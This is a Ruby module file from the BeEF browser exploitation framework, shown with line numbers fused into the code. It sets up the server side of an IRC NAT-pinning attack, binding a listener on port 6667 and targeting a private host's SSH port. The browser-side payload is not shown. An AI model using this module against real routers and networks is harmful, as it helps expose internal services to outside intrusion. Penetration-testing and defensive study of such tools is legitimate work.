Path: blob/master/modules/network/nat_pinning_irc/module.rb
1154 views
#1# Copyright (c) 2006-2025 Wade Alcorn - [email protected]2# Browser Exploitation Framework (BeEF) - https://beefproject.com3# See the file 'doc/COPYING' for copying permission4#5class Irc_nat_pinning < BeEF::Core::Command6def pre_send7BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_socket('IRC', '0.0.0.0', 6667)8end910def self.options11@configuration = BeEF::Core::Configuration.instance12beef_host = @configuration.beef_host1314[15{ 'name' => 'connectto', 'ui_label' => 'Connect to', 'value' => beef_host },16{ 'name' => 'privateip', 'ui_label' => 'Private IP', 'value' => '192.168.0.100' },17{ 'name' => 'privateport', 'ui_label' => 'Private Port', 'value' => '22' }18]19end2021def post_execute22return if @datastore['result'].nil?2324save({ 'result' => @datastore['result'] })2526# wait 30 seconds before unbinding the socket. The HTTP connection will arrive sooner than that anyway.27sleep 3028BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind_socket('IRC')29end30end313233